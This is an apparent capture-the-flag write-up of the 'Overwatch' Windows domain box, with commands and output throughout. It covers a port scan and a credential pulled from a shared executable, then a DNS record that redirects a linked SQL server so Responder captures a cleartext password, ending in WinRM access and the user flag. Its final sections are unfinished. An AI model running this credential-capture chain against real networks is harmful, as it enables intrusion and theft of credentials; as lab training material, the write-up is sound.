[ writeup · case #016 ]
Overwatch
A connection string recovered from SQLite artifacts gives MSSQL access as sqlsvc; the server is linked to SQL07, and coercing that linked server to authenticate to Responder leaks the cleartext sqlmgmt password. sqlmgmt has WinRM access (Pwn3d!) for the user flag.
Summary
Enumeration
Port Scan
rustscan --range 1-65535 -a <target> -- -APORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-04-07 18:10:09Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: overwatch.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: overwatch.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
3389/tcp open ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
|_ssl-date: 2026-04-07T18:11:50+00:00; 0s from scanner time.
| rdp-ntlm-info:
| Target_Name: OVERWATCH
| NetBIOS_Domain_Name: OVERWATCH
| NetBIOS_Computer_Name: S200401
| DNS_Domain_Name: overwatch.htb
| DNS_Computer_Name: S200401.overwatch.htb
| DNS_Tree_Name: overwatch.htb
| Product_Version: 10.0.20348
|_ System_Time: 2026-04-07T18:11:11+00:00
| ssl-cert: Subject: commonName=S200401.overwatch.htb
| Issuer: commonName=S200401.overwatch.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-12-07T15:16:06
| Not valid after: 2026-06-08T15:16:06
| MD5: 0da8 f9a5 d788 e363 07b1 5f70 6524 ffcb
| SHA-1: 3287 c62d 4408 7fbb 4038 00b3 32fa da67 fb22 14bc
| SHA-256: b8ca 73a4 d338 1c57 3558 eec9 d8d1 9381 5b2d e30e 7945 ff69 0565 8935 84da f28a
| -----BEGIN CERTIFICATE-----
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| xlt1TwWNi2qGwnTfrO1Kag1P/Ky10JP3+X1r/KXb+71R3KwxCW/Bs9w6ZkCcwOLp
| [REDACTED:KEY]
|_-----END CERTIFICATE-----
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
6520/tcp open ms-sql-s syn-ack ttl 127 Microsoft SQL Server 2022 16.00.1000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-07T18:06:51
| Not valid after: 2056-04-07T18:06:51
| MD5: 72cd 099c 004e 8090 0ac5 2a79 6bf0 f401
| SHA-1: 7c5a 34ae 17ef 5e2b 2f01 9a1e b70d 3103 318f 0cfd
| SHA-256: f35b 6bdc cc39 062e a61b 69dd 86af bcf1 ccde 402d c8ef e3e9 1515 4b6d 0367 4952
| -----BEGIN CERTIFICATE-----
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| xliybLGGaRUGu/EUw2ShKLbR8B8HSpPaB/RZi5TpPxrauxIBiX0Uqdm1/mHh2A+A
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
|_-----END CERTIFICATE-----
| ms-sql-info:
| [REDACTED:IP]:6520:
| Version:
| name: Microsoft SQL Server 2022 RTM
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 6520
| ms-sql-ntlm-info:
| [REDACTED:IP]:6520:
| Target_Name: OVERWATCH
| NetBIOS_Domain_Name: OVERWATCH
| NetBIOS_Computer_Name: S200401
| DNS_Domain_Name: overwatch.htb
| DNS_Computer_Name: S200401.overwatch.htb
| DNS_Tree_Name: overwatch.htb
|_ Product_Version: 10.0.20348
|_ssl-date: 2026-04-07T18:11:50+00:00; 0s from scanner time.
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49668/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
55965/tcp filtered unknown no-response
56793/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
56794/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
56801/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
56819/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPCKey findings:
- Port
xx— service — why it's interesting
Foothold
mssql enum
❯ smbclient -N -L //[REDACTED:IP]
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
software$ Disk # this was intersting so i decided to dig deeper
SYSVOL Disk Logon server share
❯ smbclient -N //[REDACTED:IP]/software$
smb: \Monitoring\> ls
. DH 0 Sat May 17 01:32:43 2025
.. DH 0 Sat May 17 01:27:07 2025
EntityFramework.dll AH 4991352 Thu Apr 16 20:38:42 2020
EntityFramework.SqlServer.dll AH 591752 Thu Apr 16 20:38:56 2020
EntityFramework.SqlServer.xml AH 163193 Thu Apr 16 20:38:56 2020
EntityFramework.xml AH 3738289 Thu Apr 16 20:38:40 2020
Microsoft.Management.Infrastructure.dll AH 36864 Mon Jul 17 14:46:10 2017
overwatch.exe AH 9728 Sat May 17 01:19:24 2025
overwatch.exe.config AH 2163 Sat May 17 01:02:30 2025
overwatch.pdb AH 30208 Sat May 17 01:19:24 2025
System.Data.SQLite.dll AH 450232 Sun Sep 29 20:41:18 2024
System.Data.SQLite.EF6.dll AH 206520 Sun Sep 29 20:40:06 2024
System.Data.SQLite.Linq.dll AH 206520 Sun Sep 29 20:40:42 2024
System.Data.SQLite.xml AH 1245480 Sat Sep 28 18:48:00 2024
System.Management.Automation.dll AH 360448 Mon Jul 17 14:46:10 2017
System.Management.Automation.xml AH 7145771 Mon Jul 17 14:46:10 2017
x64 DH 0 Sat May 17 01:32:33 2025
x86 DH 0 Sat May 17 01:32:33 2025
❯ strings overwatch.exe
!This program cannot be run in DOS mode.
.text
Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=[REDACTED:CRED];sqlsvc:[REDACTED:CRED]❯ nxc smb [REDACTED:IP] -u 'sqlsvc' -p '[REDACTED:CRED]' --shares
SMB [REDACTED:IP] 445 S200401 [*] Windows Server 2022 Build 20348 x64 (name:S200401) (domain:overwatch.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB [REDACTED:IP] 445 S200401 [+] overwatch.htb\sqlsvc:[REDACTED:CRED]
SMB [REDACTED:IP] 445 S200401 [*] Enumerated shares
SMB [REDACTED:IP] 445 S200401 Share Permissions Remark
SMB [REDACTED:IP] 445 S200401 ----- ----------- ------
SMB [REDACTED:IP] 445 S200401 ADMIN$ Remote Admin
SMB [REDACTED:IP] 445 S200401 C$ Default share
SMB [REDACTED:IP] 445 S200401 IPC$ READ Remote IPC
SMB [REDACTED:IP] 445 S200401 NETLOGON READ Logon server share
SMB [REDACTED:IP] 445 S200401 software$ READ
SMB [REDACTED:IP] 445 S200401 SYSVOL READ Logon server share- confirmed
❯ nxc ldap [REDACTED:IP] -u 'sqlsvc' -p '[REDACTED:CRED]'
LDAP [REDACTED:IP] 389 S200401 [*] Windows Server 2022 Build 20348 (name:S200401) (domain:overwatch.htb) (signing:None) (channel binding:No TLS cert)
LDAP [REDACTED:IP] 389 S200401 [+] overwatch.htb\sqlsvc:[REDACTED:CRED] ❯ nxc rdp [REDACTED:IP] -u 'sqlsvc' -p '[REDACTED:CRED]'
RDP [REDACTED:IP] 3389 S200401 [*] Windows 10 or Windows Server 2016 Build 20348 (name:S200401) (domain:overwatch.htb) (nla:True)
RDP [REDACTED:IP] 3389 S200401 [+] overwatch.htb\sqlsvc:[REDACTED:CRED]
❯ impacket-mssqlclient sqlsvc:[REDACTED:CRED]@[REDACTED:IP] -windows-auth -p 6520
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (OVERWATCH\sqlsvc guest@master)> - default 3306 but this time it was forwarded to 6520
SQL (OVERWATCH\sqlsvc guest@master)> EXEC sp_linkedservers;
SRV_NAME SRV_PROVIDERNAME SRV_PRODUCT SRV_DATASOURCE SRV_PROVIDERSTRING SRV_LOCATION SRV_CAT
------------------ ---------------- ----------- ------------------ ------------------ ------------ -------
S200401\SQLEXPRESS SQLNCLI SQL Server S200401\SQLEXPRESS NULL NULL NULL
SQL07 SQLNCLI SQL Server SQL07 NULL NULL NULL This SQL server is linked to another SQL server!
❯ bloodyAD -d overwatch.htb -u sqlsvc -p '[REDACTED:CRED]' -H [REDACTED:IP] get writable
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=overwatch,DC=htb
permission: WRITE
distinguishedName: CN=sqlsvc,CN=Users,DC=overwatch,DC=htb
permission: WRITE
distinguishedName: DC=overwatch.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=overwatch,DC=htb
permission: CREATE_CHILD
distinguishedName: DC=_msdcs.overwatch.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=overwatch,DC=htb
permission: CREATE_CHILD
❯ bloodyAD -d overwatch.htb -u sqlsvc -p '[REDACTED:CRED]' -H [REDACTED:IP] add dnsRecord SQL07 [REDACTED:IP]
[+] SQL07 has been successfully updated
SQL (OVERWATCH\sqlsvc guest@master)> SELECT * FROM OPENQUERY(SQL07,'SELECT SYSTEM_USER');
INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "Communication link failure".
ERROR(MSOLEDBSQL): Line 0: TCP Provider: An existing connection was forcibly closed by the remote host.
SQL (OVERWATCH\sqlsvc guest@master)>
❯ sudo responder -I tun0 SQL -v
[MSSQL] Received connection from [REDACTED:IP]
[MSSQL] Cleartext Client : [REDACTED:IP]
[MSSQL] Cleartext Hostname : SQL07 ()
[MSSQL] Cleartext Username : sqlmgmt
[MSSQL] Cleartext Password : [REDACTED:CRED]
sqlmgmt:[REDACTED:CRED]❯ nxc ldap [REDACTED:IP] -u sqlmgmt -p '[REDACTED:CRED]'
LDAP [REDACTED:IP] 389 S200401 [*] Windows Server 2022 Build 20348 (name:S200401) (domain:overwatch.htb) (signing:None) (channel binding:No TLS cert)
LDAP [REDACTED:IP] 389 S200401 [+] overwatch.htb\sqlmgmt:[REDACTED:CRED]
❯ nxc winrm [REDACTED:IP] -u sqlmgmt -p '[REDACTED:CRED]'
WINRM [REDACTED:IP] 5985 S200401 [*] Windows Server 2022 Build 20348 (name:S200401) (domain:overwatch.htb)
WINRM [REDACTED:IP] 5985 S200401 [+] overwatch.htb\sqlmgmt:[REDACTED:CRED] (Pwn3d!)
❯ nxc rdp [REDACTED:IP] -u sqlmgmt -p '[REDACTED:CRED]'
RDP [REDACTED:IP] 3389 S200401 [*] Windows 10 or Windows Server 2016 Build 20348 (name:S200401) (domain:overwatch.htb) (nla:True)
RD*Evil-WinRM* PS /home/light\Desktop> cat user.txt
[REDACTED:HASH]
User Flag
cat /home/light\Desktop\user.txtRoot Flag
cat /home/light